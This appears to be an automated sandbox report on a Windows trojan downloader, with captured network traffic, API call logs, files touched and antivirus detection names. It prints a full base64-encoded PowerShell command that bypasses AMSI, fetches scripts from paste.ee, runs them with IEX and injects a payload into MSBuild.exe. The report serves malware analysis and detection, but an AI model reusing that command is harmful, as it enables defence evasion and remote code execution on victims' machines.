°ÛÙ¢Û²•ñÚ|ñÿnǛUB£WîkÃû°¸'XÎÃ)Çä| Û÷V ä’kŠ&üµ#añ} Ä9ý¹nO®¿@ o‡`ZÈCªwLÌòlPËÍèóm2O5‹ jýhJÖħ“leOËƕKTpÓøg5ÔE7‹Og·ìàø Ç2éáÙ÷ÔÔô•&|ò×#*Èî(¢ÔÓj×Ò¸Á…œ0‚˜0‚€ ؚsó³¸Ú[X8˜)0  *†H†÷  0Z1 0 UIE10U  Baltimore10U  CyberTrust1"0 UBaltimore CyberTrust Root0 200127124639Z 241231235959Z0J1 0 UUS10U Cloudflare, Inc.1 0UCloudflare Inc RSA CA-20‚"0  *†H†÷ ‚0‚ ‚µ]&È «±3] ²–Â1N~_‡Æo€$íÚ®¾ç€÷ÅÏTf8(èæi»ø1jVõèÁ¥èYè³à:a(°~Í ýÎ7Ã驍 Éxʦ`F€¯t-OÚè RțZ2Ï!!G\ŠªÀp±ñÞß-…©•ì[W99¾…Âï׶,J?ÑÖ³!¢—O%,B#}׳Öi…¯ÕªØhd㭝R/Ååô‘¯å ًFçÏ2"ð7Äý‹æâÌ:Hׁa‚¿=rÙp^ì i$â<HãþÓåQÔ+À¡O“p™¿·Òƒni-ÈÍ¢bLC7_:v“Zúni]šÅˆÁ£‚h0‚d0U©ü²EIÁo04+هœ°%Wz0U#0€åY0‚GX̬úT6†{:µMð0Uÿ†0U%0++0Uÿ0ÿ04+(0&0$+0†http://ocsp.digicert.com0:U3010/ - +†)http://crl3.digicert.com/Omniroot2025.crl0mU f0d07 `†H†ýl0*0(+https://www.digicert.com/CPS0  `†H†ýl0g 0g 0g 0  *†H†÷  ‚|°Ž¦dráaÝót=P§çÂN &+Açð°óòÒçP€ÒÆ©º“ë¾ÁÁ†øO„¼|ær/é¶ÆviÝòjGk“T¤ €5'݊ŸÈ„—Ó´àÚ¦ðçÏ杘”ÒËÚ"wØI ¨UŽ‰ÔÒÎÐèÚàBýÎ~–„ʧÑ'Ÿ)¼ÿí.4ýF*ïNV|èÜ"—íS [º{àòO¥Y•Aͳr.\ozJC+"ËÔ? |óú|ÛJsqéÕÝF¶ž€q™ßõP~3Ò5u$^˜Z¨’Eô´Øˆ¦±déûùeHö–ÞF~Z0S]4âòñ‹•ð”ø­ã“
Data received K
Data received GAÑ`‹GDþÑ,?´6HŽ¥4ãŠáN¤z—¹F¦ñœÞƒž»_]Ž¸«Ó¶‘(ÝÜ¡]ûÔ8£ò‚æɼ‘eþ’Œ‰.ÔbÐdòB‰(ÖËËÛõ~$²iZŒÐéþÓ±N¯P_¶÷ŠGï ¿ i*»Òé§ÓÒؤ>êèoïh{íq_¹É® (}9cq¿€ª ë•üêýPƒ/‰§þœà²ªDðª^U~Šîìì¯ô.%×ÔúqÞ7ÙïÁmð¢>^ªénN°îoEÿ§é$iã·ºñó/_dgÿÖïÒ‚&m‹Mx;¯ò‰þœ .»È=05äᨃãÖº©`1p ã=yœ4Ó)> jW–{ü@¨Æ€b¤ï–®noñÚ …N\ .šÛ}Έåâ¤P=½¤a—Ê
Data received 
Data received 
Data received 
Data received 
Data received 0
Data received ²(²„¥rŠéQèŒàÇzÝ¥^=Dœð½1˜¢Uúð×2P7íð"q~¼]lŬ“ˆá
Data received 
Data received ÔòÙÎô2åU5ˆ5Ñ)ž;Ág; ñÄHì]ߏ•yã˜xQÿÃk™`՘¡ÊÛ¸ð©)eôhÌ`xÀ'£qiö+RtLÿ´€Ã¨¿MµjV£ (ÔµèdÖÃîßëjˆ÷ôŠ`í®{ÉQzò€}Ô”…$·Á}vvY/ \ШAù½|fÕGÑ4ë¨3¨¡ [Šµ0È5œ^¥C‡åÍÉÚÇþYÛ8Þ¾]1 µ[Ä¢šD&¼Î™8j okz죱€Ï= \` cVùxÈH¹Ò&@\ÜJ+C 2¥~jîHËS{.¹¼šj’Ò¡–«Ä¶QV2pèètN\H°ZC9?b2ë­™áÔ0ù#ÝaQŽÚHrälú¯“¶T¿/„!‡ NwzáX )¹äž33R„pïmê<UdG$ۑÖH²Žœ¸Ä»7¶õØ@õ-ÍÖn”ˆÊ2w5¹K“*?rvp£Ý”ƒsǬ¶Â+ª2EOdQ_²ïúAÈúäYûØóM¹yÁµìáßt¸în^1“!óS?¥Ä 0ëҙ¬)!ðÏçcP˜H\Ðkޓ×ñš"á®WϏö|1›l=è+ìô9èϹÁ柗+-,Uœ °co%–÷_‹{yÀã‰ì‘J{®[M_œ~Mä'žL³‡Ñ¿jáK¥ÕtgH>Œ¦sˆóM訁£Ðx~´‚ý—šaÑîëÔr˜vö‚?cùô|O>>»DçT#½óƒ’m1¬5m¥ä¥¯öÇëÿ¦‰ñÂtŒà–0§æü¾ro%bƤq|5èÅi:Ÿ&o©”°Ý¬Wn]¡/¢.ÒÛ{Û5Úĵ|—Ø]+Gó´>‘É"Ô,íÿ³È´ÃÃ?±ú,«'¦@¾™1¨VeFFJÇ&PUNpÄk”œî’ñN¸ŽAë¤:ÔäÖ˼,í(ÖÑm$ }O@P­çÚÓ®ÄL»N4ì• £áb5™êg\ÈpP¥ £ÔbµH–âY'{(Mžöï ÓG K–QKJŸ¼ûú3<ì ƈ×Å32&‹L) CrÕ54% –‹ÁP ;ñz >ÌICZÜD;»Ø¶ Í?â°2ïúæ ЌåÒâ¿Ub`ðiIÜYßÈS3ø 3Š¹¾LR<iÃXe&tÕZÖà-"¸ÐDÚܤõÎ0‡*<HpM
Data received 
Data received HÎ!}ðŽÌíMhéï-Zg*GXLÑ^nÑ9•ÆŠLwæ;
Data received ‰’ƒãÞ¢ZR;¶õ¹&ü²ÐY'òÜ\Rûæ™#/¨$÷ðYˆøS.š*Þ¹AE›ä¿)]£ÂÒþ²R¥ÁN†Ýù¿õ«Svvšáƒ× ¡pE=_˜è˜Å#oË5Å+]˜u¾Snœ$ßI•éÁ𫟤arÙWÅnښÎ6?ö£žŠª¿rˆ wú^å/PœÎ@š®§ ²H]6à±+<R|éÒ<4N1\>ap/û*ú`)ØH¨Ô9¯úZ!ˆŸ“¯¦1½À"R‘-Îq*€Rü½gÝú›Z¯÷ƒÇ)kšú«ÅJf¯’‡âãmPuñe¡ur%äˆÇá_{¢ªs>1ö*hŒ¼#ià‹Ò_R="Ÿ{( kò[[}ÊÑ!Ç÷g»œ;<Ãm›÷™ ´-i 6 4,VVõ˃¦’þ"æñômBO ¢¥Ÿ„Õgˤh×,înãvÆ­Wbh׉%â ]}V§¸ªS TæîË H:5œ–é/Þ$Ž‘ÿaßWÀöwW1ÍÒ[“³zÖ€îñHÃÍøîŒs€‹;~ŠØD¤®#U\¨âô@žµF—nšÿÛSû v2µäY·|+lôkeìhEX– å:&êi>²ºˆ31§ÞCšÜ¨`‡(5”§°’ˆ`@Rդ⭯&4¹ó¹[ T§ª.üq_JDÀjvsŽN„ m”»›«)žôs)¬Jþ"‹iù'90²ºøIñI“ X5â$´!j0_²ìxaהˆOÖùm4`ö΍ÉÏ^Éy‚¢Ñ é»É)ó­‡AíD†Æ>Eœê†‹nññýH©ÿˆ#ôªÛƒã§¥tP+ ’jxSC/S€ñÃ6n ilùb{’*\α 0ŠŠ3Œ¬@³MRr(ÏÖºs¬â’ò¸Œ{Ήˆ»šT‚uïð´ZöDñ¢R‚sØ&|h¯÷ó3x¼c!óPË¿žrrñ˜X¨ËpGÀPù¿ªwhº“‰ö뛤+Wî(Å"éaHÏz[‹·¹¥ËN+å ›­?PÔR.ÔÏEvWž Ÿ´Ø;u xWtö:«IÝ¥#6]ä •,üR³ JŸUib¶p=2®ÇJ‰ã6^iNÙ`ÞâÐæÐG ÄÀŠ<¨F¿›)
Data received o³Vÿeªau ëUHØÅ­cv¤š{%§_KD*§j
Data sent kga)'Á™ÞEêIå<@M0MX65§("{£UÂ_°¶è/5 ÀÀÀ À 28&ÿ paste.ee  
Data sent FBA-ŠÖi;¦ŽœðQIâF‰8#´²¨XS:ÈÏötáxGK•dWñgWä3S‰Èy[Ÿz•Èq†$¤¦Cï' 0Oð•%Cè’#ožuˆ«ÝƒÌ(^ôí94ŽîBðÆÔî0\etO‹$õNù_´a›ø
Data sent `°„àã/u²^°ô¿ZÝò‡ÿý“·¶Šû".0ÛkFæñYÂuÐ4¬ï‹lÕék•°‰Ÿ°Ò‡M1¤ a ÕŽÚW4ªœ˜Ã—B{)MT»k!¼Äš>ı|Õwé)ܳ
Data sent @y_2è™77XÞߋtìÆ?Kk,Ã=.Æ ª $Úô|å%ǔ+ÛmLhõ´|‰‚BÚ@@Ã\!ß÷=ØƧû
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
section UPX0 description Section name indicates UPX
section UPX1 description Section name indicates UPX
Time & API Arguments Status Return Repeated

send

 buffer: kga)'Á™ÞEêIå<@M0MX65§("{£UÂ_°¶è/5 ÀÀÀ À 28&ÿ paste.ee  
socket: 1016
sent: 112
1 112 0

send

 buffer: FBA-ŠÖi;¦ŽœðQIâF‰8#´²¨XS:ÈÏötáxGK•dWñgWä3S‰Èy[Ÿz•Èq†$¤¦Cï' 0Oð•%Cè’#ožuˆ«ÝƒÌ(^ôí94ŽîBðÆÔî0\etO‹$õNù_´a›ø
socket: 1016
sent: 134
1 134 0

send

 buffer: `°„àã/u²^°ô¿ZÝò‡ÿý“·¶Šû".0ÛkFæñYÂuÐ4¬ï‹lÕék•°‰Ÿ°Ò‡M1¤ a ÕŽÚW4ªœ˜Ã—B{)MT»k!¼Äš>ı|Õwé)ܳ
socket: 1016
sent: 101
1 101 0

send

 buffer: @y_2è™77XÞߋtìÆ?Kk,Ã=.Æ ª $Úô|å%ǔ+ÛmLhõ´|‰‚BÚ@@Ã\!ß÷=ØƧû
socket: 1016
sent: 69
1 69 0
parent_process powershell.exe martian_process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -w 1 /e JABSAEEATgA9AFsAUwB5AHMAdABlAG0ALgBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMALgBNAGEAcgBzAGgAYQBsAF0AOgA6AEEAbABsAG8AYwBIAEcAbABvAGIAYQBsACgAKAAzADkAOQAwADcAMQA3ADIALwA0ADMAOQA3ACkAKQA7AFsAUgBlAGYAXQAuAEEAcwBzAGUAbQBiAGwAeQAuAEcAZQB0AFQAeQBwAGUAKAAiAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgAkACgAWwBTAFkAcwB0AGUATQAuAE4ARQBUAC4AVwBlAGIAdQB0AEkATABJAFQAeQBdADoAOgBIAFQAbQBsAEQARQBjAE8ARABFACgAJwAmACMANgA1ADsAJgAjADEAMAA5ADsAJgAjADEAMQA1ADsAJgAjADEAMAA1ADsAJwApACkAVQB0AGkAbABzACIAKQAuAEcAZQB0AEYAaQBlAGwAZAAoACIAJAAoAFsAQwBoAEEAcgBdACgAWwBiAFkAVABlAF0AMAB4ADYAMQApACsAWwBjAGgAQQBSAF0AKABbAGIAeQBUAEUAXQAwAHgANgBEACkAKwBbAEMASABBAHIAXQAoAFsAYgB5AFQAZQBdADAAeAA3ADMAKQArAFsAQwBoAGEAUgBdACgANwAxADQAMAAvADYAOAApACkAUwBlAHMAcwBpAG8AbgAiACwAIAAiAE4AbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAIgApAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAIAAkAG4AdQBsAGwAKQA7AFsAUgBlAGYAXQAuAEEAcwBzAGUAbQBiAGwAeQAuAEcAZQB0AFQAeQBwAGUAKAAiAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgAkACgAWwBTAFkAcwB0AGUATQAuAE4ARQBUAC4AVwBlAGIAdQB0AEkATABJAFQAeQBdADoAOgBIAFQAbQBsAEQARQBjAE8ARABFACgAJwAmACMANgA1ADsAJgAjADEAMAA5ADsAJgAjADEAMQA1ADsAJgAjADEAMAA1ADsAJwApACkAVQB0AGkAbABzACIAKQAuAEcAZQB0AEYAaQBlAGwAZAAoACIAJAAoAFsAQwBoAEEAcgBdACgAWwBiAFkAVABlAF0AMAB4ADYAMQApACsAWwBjAGgAQQBSAF0AKABbAGIAeQBUAEUAXQAwAHgANgBEACkAKwBbAEMASABBAHIAXQAoAFsAYgB5AFQAZQBdADAAeAA3ADMAKQArAFsAQwBoAGEAUgBdACgANwAxADQAMAAvADYAOAApACkAQwBvAG4AdABlAHgAdAAiACwAIAAiAE4AbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAIgApAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAIABbAEkAbgB0AFAAdAByAF0AJABSAEEATgApADsAJAByAGUAZwAgAD0AIAAoACcAewAyAH0AewAwAH0AewAxAH0AewAzAH0AJwAtAGYAJwBkAFMAdAAnACwAJwByAGkAbgAnACwAHCBgAEQAYABvAGAAdwBuAGAAbABgAG8AYQAdICwAJwBnACcAKQA7AFsAdgBvAGkAZABdACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZABXAGkAdABoAFAAYQByAHQAaQBhAGwATgBhAG0AZQAoACcATQBpAGMAcgBvAHMAbwBmAHQALgBWAGkAcwB1AGEAbABCAGEAcwBpAGMAJwApADsAJABmAGoAPQBbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4ASQBuAHQAZQByAGEAYwB0AGkAbwBuAF0AOgA6AEMAYQBsAGwAQgB5AG4AYQBtAGUAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALAAkAHIAZQBnACwAWwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAuAEMAYQBsAGwAVAB5AHAAZQBdADoAOgBNAGUAdABoAG8AZAAsACcAaAB0AHQAJwArAFsAQwBoAGEAcgBdADgAMAArACcAcwAnACAAKwAgAFsAQwBoAGEAcgBdADUAOAAgACsAIAAnAC8ALwBwAGEAcwB0AGUALgBlAGUALwByAC8ANQBEAGYARwBMACcAKQB8AEkARQBYADsAWwBCAHkAdABlAFsAXQBdACQAZgA9AFsATQBpAGMAcgBvAHMAbwBmAHQALgBWAGkAcwB1AGEAbABCAGEAcwBpAGMALgBJAG4AdABlAHIAYQBjAHQAaQBvAG4AXQA6ADoAQwBhAGwAbABCAHkAbgBhAG0AZQAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgABwgYABOAGAAZQBgAFQAYAAuAGAAVwBgAGUAYABCAGAAQwBgAGwAYABpAGAAZQBgAE4AYABUAB0gKQAsACQAcgBlAGcALABbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4AQwBhAGwAbABUAHkAcABlAF0AOgA6AE0AZQB0AGgAbwBkACwAJwBoAHQAdAAnACsAWwBDAGgAYQByAF0AOAAwACsAJwBzACcAIAArACAAWwBDAGgAYQByAF0ANQA4ACAAKwAgACcALwAvAHAAYQBzAHQAZQAuAGUAZQAvAHIALwBuAEMAWQBIAFkAJwApAC4AcgBlAHAAbABhAGMAZQAoACcAJAAkACcALAAnADAAeAAnACkAfABJAEUAWAA7AFsAWQAuAE0AXQA6ADoAUQAoACcATQBTAEIAdQBpAGwAZAAuAGUAeABlACcALAAkAGYAKQA7AA==
option -executionpolicy bypass value Attempts to bypass execution policy
option -executionpolicy bypass value Attempts to bypass execution policy
file C:\Windows\System32\ie4uinit.exe
file C:\Program Files\Windows Sidebar\sidebar.exe
file C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file C:\Windows\System32\xpsrchvw.exe
file C:\Windows\System32\displayswitch.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file C:\Windows\System32\mblctr.exe
file C:\Windows\System32\mstsc.exe
file C:\Windows\System32\SnippingTool.exe
file C:\Windows\System32\SoundRecorder.exe
file C:\Windows\System32\dfrgui.exe
file C:\Windows\System32\msinfo32.exe
file C:\Windows\System32\rstrui.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file C:\Program Files\Windows Journal\Journal.exe
file C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
file C:\Windows\System32\MdSched.exe
file C:\Windows\System32\msconfig.exe
file C:\Windows\System32\recdisc.exe
file C:\Windows\System32\msra.exe
Bkav W32.AIDetectVM.malware1
Elastic malicious (high confidence)
MicroWorld-eScan Trojan.GenericKD.35753672
FireEye Generic.mg.1d9dcacc61aaacca
CAT-QuickHeal Trojan.Scrami
ALYac Trojan.GenericKD.35753672
Cylance Unsafe
VIPRE Trojan.Win32.Generic!BT
Sangfor Malware
K7AntiVirus Trojan-Downloader ( 00574c011 )
Alibaba TrojanDownloader:Win32/Scrami.d8627e60
K7GW Trojan-Downloader ( 00574c011 )
Cybereason malicious.c61aaa
Arcabit Trojan.Generic.D2218EC8
Cyren W32/AutoIt.SN.gen!Eldorado
Symantec ML.Attribute.HighConfidence
APEX Malicious
Paloalto generic.ml
Kaspersky HEUR:Trojan.Script.Povertel.gen
BitDefender Trojan.GenericKD.35753672
Avast Win32:Trojan-gen
Tencent Win32.Trojan.Scrami.Ebht
Ad-Aware Trojan.GenericKD.35753672
Sophos Mal/Generic-S
Comodo Malware@#342mw9fxiosud
F-Secure Heuristic.HEUR/AGEN.1138090
Zillya Trojan.Povertel.Script.19
TrendMicro TrojanSpy.Win32.SCRAMI.USMANLH20
McAfee-GW-Edition BehavesLike.Win32.TrojanAitInject.fc
Emsisoft Trojan.GenericKD.35753672 (B)
Avira HEUR/AGEN.1138090
eGambit Unsafe.AI_Score_66%
MAX malware (ai score=87)
Antiy-AVL Trojan[Dropper]/Win32.Sysn
Kingsoft Win32.Troj.Undef.(kcloud)
Gridinsoft Trojan.Win32.Downloader.oa
Microsoft Trojan:Win32/Ymacco.AA2F
ViRobot Trojan.Win32.Z.Agent.387584.MQ
ZoneAlarm HEUR:Trojan.Win32.Scrami.vho
GData Trojan.GenericKD.35753672
Cynet Malicious (score: 100)
AhnLab-V3 Malware/Win32.RL_Generic.R352573
McAfee RDN/Generic Downloader.x
VBA32 Trojan.Fuerboos
Malwarebytes Trojan.Dropper.AutoIt
ESET-NOD32 a variant of Win32/TrojanDownloader.Autoit.PBN
TrendMicro-HouseCall TrojanSpy.Win32.SCRAMI.USMANLH20
Rising Trojan.PSRunner/Autoit!1.C834 (CLASSIC)
Ikarus Trojan.Worm
MaxSecure Trojan.Malware.300983.susgen